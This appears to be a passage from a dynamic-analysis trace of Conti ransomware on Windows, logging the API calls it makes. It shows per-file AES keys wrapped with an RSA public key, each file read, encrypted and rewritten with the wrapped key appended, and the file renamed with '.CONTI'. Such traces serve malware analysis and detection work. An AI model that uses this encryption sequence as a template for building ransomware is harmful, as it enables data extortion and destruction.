	[0151.666] ReadFile (in: hFile=0x35c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x5044, lpOverlapped=0x0) returned 1
	[0151.667] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x5044, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x5050) returned 1
	[0151.667] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.667] WriteFile (in: hFile=0x35c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x5050, lpOverlapped=0x0) returned 1
	[0151.667] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.667] WriteFile (in: hFile=0x35c, lpBuffer=0x6b4ae20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6b4ae20*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0151.667] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.667] CloseHandle (hObject=0x35c) returned 1
	[0151.667] GetProcessHeap () returned 0x1720000
	[0151.667] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.667] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\upgrader_win10.log" | out: lpString1="C:\\Windows10Upgrade\\upgrader_win10.log") returned="C:\\Windows10Upgrade\\upgrader_win10.log"
	[0151.667] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\upgrader_win10.log", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\upgrader_win10.log.CONTI") returned="C:\\Windows10Upgrade\\upgrader_win10.log.CONTI"
	[0151.667] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log"), lpNewFileName="C:\\Windows10Upgrade\\upgrader_win10.log.CONTI" (normalized: "c:\\windows10upgrade\\upgrader_win10.log.conti")) returned 1
	[0151.668] GetProcessHeap () returned 0x1720000
	[0151.668] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.668] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0151.668] GetProcessHeap () returned 0x1720000
	[0151.668] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181def0 | out: hHeap=0x1720000) returned 1
	[0151.668] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0151.668] VirtualFree (lpAddress=0x9880000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0152.525] CryptDestroyKey (hKey=0x173a850) 

Thread:
	id = 152
	os_tid = 0x13c4

	[0093.047] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x9d90000
	[0093.047] CryptAcquireContextA (in: phProv=0x3cffb48, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x3cffb48*=0x1750e20) returned 1
	[0093.050] CryptImportKey (in: hProv=0x1750e20, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x3cffb44 | out: phKey=0x3cffb44*=0x173a890) returned 1
	[0093.050] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0094.268] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x175e4b0) returned 1
	[0094.268] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x3cffb14 | out: pbData=0x17d5434*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0094.300] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80
	[0094.301] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0094.301] GetLastError () returned 0x0
	[0094.301] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=1901056) returned 1
	[0094.301] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d0200
	[0094.302] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.302] SetEndOfFile (hFile=0x348) returned 1
	[0094.302] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.302] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.302] WriteFile (in: hFile=0x348, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0094.304] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.304] ReadFile (in: hFile=0x348, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x1d0200, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x1d0200, lpOverlapped=0x0) returned 1
	[0094.889] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1d0200, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1d0210) returned 1
	[0094.894] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.894] WriteFile (in: hFile=0x348, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x1d0210, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x1d0210, lpOverlapped=0x0) returned 1
	[0094.907] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.908] WriteFile (in: hFile=0x348, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0094.908] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.908] CloseHandle (hObject=0x348) returned 1
	[0095.369] GetProcessHeap () returned 0x1720000
	[0095.369] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0095.370] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned="C:\\588bce7c90097ed212\\netfx_Core_x64.msi"
	[0095.370] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.CONTI") returned="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.CONTI"
	[0095.370] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.CONTI" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.conti")) returned 1
	[0095.370] GetProcessHeap () returned 0x1720000
	[0095.370] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0095.370] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0095.370] GetProcessHeap () returned 0x1720000
	[0095.370] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0070 | out: hHeap=0x1720000) returned 1
	[0095.370] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0095.370] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c8170) returned 1
	[0095.370] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x3cffb14 | out: pbData=0x17d4fa4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0095.371] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20
	[0096.396] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0096.397] GetLastError () returned 0x0
	[0096.397] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=69632) returned 1
	[0096.397] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.397] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.397] SetEndOfFile (hFile=0x30c) returned 1
	[0096.397] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.397] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.397] WriteFile (in: hFile=0x30c, lpBuffer=0x17d4fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17d4fa4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.399] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.399] ReadFile (in: hFile=0x30c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.400] CryptEncrypt (in: hKey=0x17c8170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11010) returned 1
	[0096.400] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.400] WriteFile (in: hFile=0x30c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.401] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.401] WriteFile (in: hFile=0x30c, lpBuffer=0x17d4f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17d4f98*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0096.401] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.401] CloseHandle (hObject=0x30c) returned 1
	[0096.403] GetProcessHeap () returned 0x1720000
	[0096.403] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.404] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx"
	[0096.404] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.CONTI"
	[0096.404] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.conti")) returned 1
	[0096.404] GetProcessHeap () returned 0x1720000
	[0096.404] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.404] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0096.404] GetProcessHeap () returned 0x1720000
	[0096.404] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740820 | out: hHeap=0x1720000) returned 1
	[0096.404] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0096.404] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x17c8170) returned 1
	[0096.404] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x3cffb14 | out: pbData=0x17d28dc*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0096.405] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20
	[0096.405] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0096.405] GetLastError () returned 0x0
	[0096.405] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=69632) returned 1
	[0096.406] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.406] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.406] SetEndOfFile (hFile=0x30c) returned 1
	[0096.406] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.406] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.406] WriteFile (in: hFile=0x30c, lpBuffer=0x17d28dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17d28dc*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.407] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.407] ReadFile (in: hFile=0x30c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.409] CryptEncrypt (in: hKey=0x17c8170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11010) returned 1
	[0096.409] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.409] WriteFile (in: hFile=0x30c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.409] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.409] WriteFile (in: hFile=0x30c, lpBuffer=0x17d28d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17d28d0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0096.409] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.409] CloseHandle (hObject=0x30c) returned 1
	[0096.411] GetProcessHeap () returned 0x1720000
	[0096.411] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.411] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx"
	[0096.411] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.CONTI"
	[0096.411] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.conti")) returned 1
	[0096.412] GetProcessHeap () returned 0x1720000
	[0096.412] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.412] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0096.412] GetProcessHeap () returned 0x1720000
	[0096.412] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0648 | out: hHeap=0x1720000) returned 1
	[0096.412] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0096.412] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x17c8170) returned 1
	[0096.412] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x3cffb14 | out: pbData=0x17c5c6c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0096.413] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20
	[0096.413] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0096.413] GetLastError () returned 0x0
	[0096.413] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=69632) returned 1
	[0096.413] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.413] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.414] SetEndOfFile (hFile=0x30c) returned 1
	[0096.414] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.414] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.414] WriteFile (in: hFile=0x30c, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0096.415] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.415] ReadFile (in: hFile=0x30c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x11000, lpOverlapped=0x0) returned 1
	[0096.416] CryptEncrypt (in: hKey=0x17c8170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x11010) returned 1
	[0096.416] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.416] WriteFile (in: hFile=0x30c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x11010, lpOverlapped=0x0) returned 1
	[0096.417] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.417] WriteFile (in: hFile=0x30c, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0096.417] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.417] CloseHandle (hObject=0x30c) returned 1
	[0096.419] GetProcessHeap () returned 0x1720000
	[0096.419] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17ea448
	[0096.419] lstrcpyW (in: lpString1=0x17ea448, lpString2="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx"
	[0096.419] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.CONTI"
	[0096.419] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.conti")) returned 1
	[0096.419] GetProcessHeap () returned 0x1720000
	[0096.419] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ea448 | out: hHeap=0x1720000) returned 1
	[0096.419] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0096.419] GetProcessHeap () returned 0x1720000
	[0096.419] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d06c8 | out: hHeap=0x1720000) returned 1
